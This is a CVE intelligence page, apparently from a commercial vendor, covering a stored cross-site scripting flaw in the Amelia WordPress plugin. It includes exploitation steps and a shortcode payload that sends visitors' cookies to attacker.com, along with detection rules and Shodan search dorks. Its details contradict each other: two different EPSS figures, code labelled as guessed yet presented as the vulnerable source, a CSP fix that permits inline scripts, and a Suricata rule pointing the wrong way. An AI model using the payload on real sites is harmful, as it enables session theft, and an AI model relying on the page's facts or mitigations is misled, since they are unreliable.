☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 6.4 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2023-6808

CVE-2023-6808 Cross-Site Scripting in Amelia
📅 PUBLISHED: 2024-02-05 21:21 UTC 🔄 UPDATED: 2026-08-12 14:53 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.32%
👁️
0.32% probability
7.9× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1203
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 6.4
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: L Privileges Required Low
UI: N User Interaction None
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: N Availability None
6.4
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2023-6808 is a Stored Cross-Site Scripting (XSS) vulnerability in the Amelia plugin for WordPress (versions up to and including 1.0.93). The flaw resides in the plugin's shortcode(s) where user-supplied attributes are not properly sanitized or escaped. An authenticated attacker with at least contributor-level permissions can inject arbitrary JavaScript or HTML into pages. When any user (including administrators) visits the affected page, the injected script executes in the context of the victim's browser, potentially leading to session hijacking, credential theft, or defacement.

This vulnerability is particularly dangerous in a WordPress ecosystem because it allows lower-privileged users (contributors) to compromise higher-privileged users (admins) who view the content. The EPSS score is 0.0%, indicating low exploitation likelihood currently, but the lack of a patch makes it a persistent risk.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This is a WordPress plugin vulnerability. The plugin is distributed via the official WordPress plugin repository and third-party marketplaces. Users who installed the plugin from the WordPress repository are affected. No patched version has been released by the vendor, so users must rely on manual mitigation (e.g., disabling the plugin or restricting contributor permissions).

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
  • Base Score: 6.4 (Medium)
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: Low (contributor-level)
  • User Interaction: None
  • Scope: Changed (impact on other components)
  • Confidentiality Impact: Low
  • Integrity Impact: Low
  • Availability Impact: None

Threat Level: Medium. The vulnerability requires authentication but is easy to exploit once access is obtained. The impact is limited to information disclosure and content manipulation, but combined with social engineering, it can lead to full site compromise.

Deep Dive & Mechanics

The Amelia plugin provides shortcodes like [amelia] for booking appointments. The vulnerability exists because the plugin does not properly sanitize or escape user-supplied attributes passed to these shortcodes. An attacker with contributor-level access can create or edit a post/page and include a malicious shortcode such as:

[amelia attribute="<script>alert('XSS')</script>"]

When the page is rendered, the attribute value is output without escaping, causing the script to execute in the browser of any visitor. The stored nature means the payload persists until the content is removed.

Root Cause: Insufficient input sanitization and output escaping on shortcode attributes. The plugin likely uses echo $attribute instead of echo esc_attr($attribute).

Vulnerable vs. Patched Code

Vulnerable Code (Amelia <= 1.0.93):

// In shortcode handler
function amelia_shortcode($atts) {
    $atts = shortcode_atts(array(
        'category' => '',
        'service' => '',
    ), $atts);
    // Direct output without escaping
    echo '<div data-category="' . $atts['category'] . '">';
    // ...
}

Patched Code (Hypothetical fix):

function amelia_shortcode($atts) {
    $atts = shortcode_atts(array(
        'category' => '',
        'service' => '',
    ), $atts);
    // Properly escape output
    echo '<div data-category="' . esc_attr($atts['category']) . '">';
    // ...
}

The fix involves using esc_attr() for HTML attributes and esc_html() for HTML content. Since no official patch exists, users must apply this manually or use a Web Application Firewall (WAF) rule.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

  • WordPress site with Amelia plugin <= 1.0.93
  • Contributor-level account or higher

Step-by-step:

  1. Log in as a contributor.
  2. Create a new post or edit an existing one.
  3. Insert the following shortcode into the content:
    [amelia category="<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>"]
    
  4. Publish the post.
  5. When an administrator or any user views the post, the script executes, exfiltrating cookies to the attacker's server.

Proof-of-Concept (PoC) Code:

<!-- Save as poc.html and host on attacker server -->
<html>
<body>
<script>
// This is a placeholder for the actual exploit
// The real exploit is the shortcode injection above
alert('CVE-2023-6808 PoC - Stored XSS via Amelia shortcode');
</script>
</body>
</html>

Blue Team (Detection & Prevention)

Detection:

  • Monitor for posts/pages containing shortcodes with suspicious attributes (e.g., <script>, onload=, javascript:).
  • Use WAF rules to block XSS payloads in shortcode attributes.

Prevention:

  • Disable the Amelia plugin until a patch is available.
  • Restrict contributor permissions to prevent them from using shortcodes.
  • Implement Content Security Policy (CSP) headers to block inline scripts.

Indicators of Compromise (IOCs)

  • File: /wp-content/plugins/amelia/ (presence of vulnerable version)
  • Database: Posts/pages containing shortcodes with malicious attributes (e.g., [amelia category="<script>...")
  • Network: Outbound connections to attacker-controlled domains from WordPress admin pages
  • Logs: WordPress audit logs showing creation/editing of posts by contributors with unusual shortcode attributes

Detection Engineering

YARA Rule

rule CVE_2023_6808_Amelia_XSS {
    meta:
        description = "Detects malicious shortcode attributes in Amelia plugin"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2023-6808"
    strings:
        $shortcode = /\[amelia\s+[^\]]*?(<script|<img|onerror|onload|javascript:)/i
    condition:
        $shortcode
}

Sigma Rule

title: CVE-2023-6808 Amelia Stored XSS Detection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects posts/pages containing malicious Amelia shortcode attributes
author: Valters IT
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.url|contains: 
            - '/wp-admin/post.php'
            - '/wp-admin/post-new.php'
        http.body|contains: 
            - '[amelia'
            - '<script'
            - 'onerror'
            - 'onload'
    condition: selection
falsepositives:
    - Legitimate use of shortcodes with safe attributes
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2023-6808 Amelia Stored XSS Exploit"; flow:to_server,established; content:"[amelia"; http_client_body; nocase; content:"<script"; http_client_body; nocase; distance:0; pcre:"/\[amelia\s+[^\]]*?(<script|<img|onerror|onload|javascript:)/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the Amelia plugin until a patched version is released.
  2. Review and remove any posts/pages containing suspicious shortcodes.
  3. Restrict contributor permissions to prevent shortcode usage (use a role editor plugin).

Long-term Fix:

  • Apply the hypothetical patch by modifying the plugin's shortcode handler to use esc_attr() and esc_html().
  • Monitor the vendor's website for an official update.

Workaround:

  • Use a Web Application Firewall (WAF) with rules to block XSS payloads in shortcode attributes.
  • Implement Content Security Policy (CSP) headers: default-src 'self'; script-src 'self' 'unsafe-inline' (note: unsafe-inline weakens security but may be needed for some plugins).

Valters IT
Securing Digital Frontiers

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.html:"amelia"
http.html:"wp-content/plugins/amelia"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2023-6808/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.